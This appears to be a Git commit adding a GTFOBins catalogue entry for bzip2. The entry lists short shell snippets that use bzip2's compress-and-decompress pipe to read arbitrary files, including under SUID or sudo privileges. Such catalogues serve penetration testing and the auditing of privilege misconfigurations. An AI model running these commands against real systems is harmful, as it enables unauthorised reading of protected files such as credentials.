Add bzip2

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Emiyo 2021-09-26 10:59:01 +01:00 committed by GitHub
parent d708c8b88b
commit cdc81c5a74
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/bzip2.md Normal file
View File

@ -0,0 +1,16 @@
---
description: There are also a number of other utilities that rely on `bzip2` under the hood, e.g., `bzless`, `bzcat`, `bunzip2`, etc. Besides having similar features, they also allow privileged reads if `bzip2` itself is SUID.
functions:
file-read:
- code: |
LFILE=file_to_read
bzip2 -c $LFILE | bzip2 -d
suid:
- code: |
LFILE=file_to_read
./bzip2 -c $LFILE | bzip2 -d
sudo:
- code: |
LFILE=file_to_read
sudo bzip2 -c $LFILE | bzip2 -d
---